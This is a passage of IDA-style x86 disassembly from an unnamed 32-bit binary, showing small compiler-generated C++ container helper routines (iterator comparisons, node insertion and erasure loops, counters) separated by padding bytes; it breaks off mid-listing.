sub_415A50	proc near		; CODE XREF: sub_401339j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401456
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415A50	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A80	proc near		; CODE XREF: sub_40113Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_40175D
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415A80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415AC0	proc near		; CODE XREF: sub_4016D6j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_40175D
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415AC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415AF0	proc near		; CODE XREF: sub_40217Bj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C62
		mov	edi, eax
		push	edi
		call	sub_401104
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401ED8
sub_415AF0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401104
		push	edi
		mov	[eax], ebx
		call	sub_401104
		mov	edi, [eax]
		push	edi
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_4020A9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401F19
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4021B7
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401DBB
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415B90	proc near		; CODE XREF: sub_401735j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
		call	sub_401CBC
		test	al, al
		jz	short loc_415BDD
		push	edi
		mov	edi, [esp+8+arg_0]


loc_415BAA:				; CODE XREF: sub_415B90+4Aj
		lea	ecx, [esp+8+arg_4]
		call	sub_401A5F
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_40217B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8+arg_4]
		call	sub_40210D
		lea	edx, [esp+8+arg_8]
		lea	ecx, [esp+8+arg_4]
		push	edx
		call	sub_401CBC
		test	al, al
		jnz	short loc_415BAA
		pop	edi


loc_415BDD:				; CODE XREF: sub_415B90+13j
		pop	esi
		retn	0Ch
sub_415B90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415C10	proc near		; CODE XREF: sub_401FCDj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401578
		mov	ecx, eax
		call	sub_401C62
		mov	esi, eax
		push	esi
		call	sub_4020A9
		push	esi
		mov	ebx, eax
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_4020A9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401104
		push	esi
		mov	ebx, eax
		call	sub_4020A9
		mov	eax, [eax]
		push	eax
		call	sub_401104
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401F19
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401500
		push	esi
		mov	ecx, edi
		call	sub_401CE9
sub_415C10	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415CD0	proc near		; CODE XREF: sub_40146Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D70
		test	al, al
		jz	short loc_415D2A


loc_415CE8:				; CODE XREF: sub_415CD0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401578
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FCD
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D70
		test	al, al
		jnz	short loc_415CE8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415D2A:				; CODE XREF: sub_415CD0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415CD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415D60	proc near		; CODE XREF: sub_401ED8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4020F4
sub_415D60	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415D75
		mov	edi, esi


loc_415D75:				; CODE XREF: ___:00415D71j
		push	esi
		call	sub_4020A9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415D8A
		mov	edi, esi


loc_415D8A:				; CODE XREF: ___:00415D86j
		push	esi
		call	sub_401104
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415DB0	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401E1A
sub_415DB0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DD0	proc near		; CODE XREF: sub_4020A9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_415DD0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DF0	proc near		; CODE XREF: sub_401F19j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_415DF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E10	proc near		; CODE XREF: sub_401ED3j
		mov	eax, ecx
		retn
sub_415E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E30	proc near		; CODE XREF: sub_401DBBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40175D
		mov	eax, esi
		pop	esi
		retn	4
sub_415E30	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E60	proc near		; CODE XREF: sub_401578j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4020C2
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_415E60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E90	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_415E90	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415EC0	proc near		; CODE XREF: sub_401AAAj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401F8C
		mov	edi, eax
		push	edi
		call	sub_401163
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401C8F
sub_415EC0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401163
		push	edi
		mov	[eax], ebx
		call	sub_401163
		mov	edi, [eax]
		push	edi
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_402144
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4015F0
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401CDA
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415F60	proc near		; CODE XREF: sub_4017E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4010DC
		mov	ecx, eax
		call	sub_401F8C
		mov	esi, eax
		push	esi
		call	sub_401249
		push	esi
		mov	ebx, eax
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401163
		push	esi
		mov	ebx, eax
		call	sub_401249
		mov	eax, [eax]
		push	eax
		call	sub_401163
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_402144
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401D61
		push	esi
		mov	ecx, edi
		call	sub_401E33
sub_415F60	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416020	proc near		; CODE XREF: sub_40132Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AEB
		test	al, al
		jz	short loc_41607A


loc_416038:				; CODE XREF: sub_416020+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017E9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AEB
		test	al, al
		jnz	short loc_416038
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41607A:				; CODE XREF: sub_416020+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416020	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4160B0	proc near		; CODE XREF: sub_401C8Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4015AF
sub_4160B0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4160C5
		mov	edi, esi


loc_4160C5:				; CODE XREF: ___:004160C1j
		push	esi
		call	sub_401249
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_4160DA
		mov	edi, esi


loc_4160DA:				; CODE XREF: ___:004160D6j
		push	esi
		call	sub_401163
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416100	proc near		; CODE XREF: sub_401E33j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4010D7
sub_416100	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416120	proc near		; CODE XREF: sub_401249j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416120	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416140	proc near		; CODE XREF: sub_402144j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416140	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416160	proc near		; CODE XREF: sub_401E97j
		mov	eax, ecx
		retn
sub_416160	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416180	proc near		; CODE XREF: sub_401CDAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401357
		mov	eax, esi
		pop	esi
		retn	4
sub_416180	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4161B0	proc near		; CODE XREF: sub_4010DCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4018C5
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4161B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4161E0	proc near		; CODE XREF: sub_401EC4j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4161E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416210	proc near		; CODE XREF: sub_401D11j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4012CB
		mov	edi, eax
		push	edi
		call	sub_4017DF
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401DB6
sub_416210	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4017DF
		push	edi
		mov	[eax], ebx
		call	sub_4017DF
		mov	edi, [eax]
		push	edi
		call	sub_4017DF
		mov	ecx, [eax]
		push	ecx
		call	sub_401BCC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4017E4
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E15
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D7A
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4162B0	proc near		; CODE XREF: sub_401078j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401EBF
		mov	ecx, eax
		call	sub_4012CB
		mov	esi, eax
		push	esi
		call	sub_401BCC
		push	esi
		mov	ebx, eax
		call	sub_4017DF
		mov	ecx, [eax]
		push	ecx
		call	sub_401BCC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4017DF
		push	esi
		mov	ebx, eax
		call	sub_401BCC
		mov	eax, [eax]
		push	eax
		call	sub_4017DF
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4017E4
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401401
		push	esi
		mov	ecx, edi
		call	sub_401F14
sub_4162B0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416370	proc near		; CODE XREF: sub_40140Bj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jz	short loc_4163CA


loc_416388:				; CODE XREF: sub_416370+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401EBF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jnz	short loc_416388
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4163CA:				; CODE XREF: sub_416370+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416370	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416400	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401EBA
sub_416400	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_416415
		mov	edi, esi


loc_416415:				; CODE XREF: ___:00416411j
		push	esi
		call	sub_401BCC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_41642A
		mov	edi, esi


loc_41642A:				; CODE XREF: ___:00416426j
		push	esi
		call	sub_4017DF
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416450	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401866
sub_416450	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416470	proc near		; CODE XREF: sub_401BCCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416470	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416490	proc near		; CODE XREF: sub_4017E4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416490	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164B0	proc near		; CODE XREF: sub_401E42j
		mov	eax, ecx
		retn
sub_4164B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164D0	proc near		; CODE XREF: sub_401D7Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401618
		mov	eax, esi
		pop	esi
		retn	4
sub_4164D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416500	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40118B
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_416500	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416530	proc near		; CODE XREF: sub_401456j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_416530	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416560	proc near		; CODE XREF: sub_401104j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_416560	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416580	proc near		; CODE XREF: sub_4020F4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416580	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4165B0	proc near		; CODE XREF: sub_401E1Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4165B0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165D0	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40125D
		add	esp, 8
		retn	8
sub_4165D0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416600	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_6
		pop	ecx
		retn	4
sub_416600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416620	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_416620	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416640	proc near		; CODE XREF: sub_401A5Fj
		mov	eax, [ecx]
		push	eax
		call	sub_401F19
		add	esp, 4
		retn
sub_416640	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416660	proc near		; CODE XREF: sub_40210Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_416660	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416690	proc near		; CODE XREF: sub_401CBCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E74
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_416690	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166C0	proc near		; CODE XREF: sub_401C62j
		mov	eax, [ecx]
		retn
sub_4166C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166E0	proc near		; CODE XREF: sub_401163j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4166E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416700	proc near		; CODE XREF: sub_4015AFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416700	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416730	proc near		; CODE XREF: sub_4010D7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416730	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416750	proc near		; CODE XREF: sub_4015F0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40205E
		add	esp, 8
		retn	8
sub_416750	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416780	proc near		; CODE XREF: sub_401D61j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_5
		pop	ecx
		retn	4
sub_416780	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167A0	proc near		; CODE XREF: sub_401357j

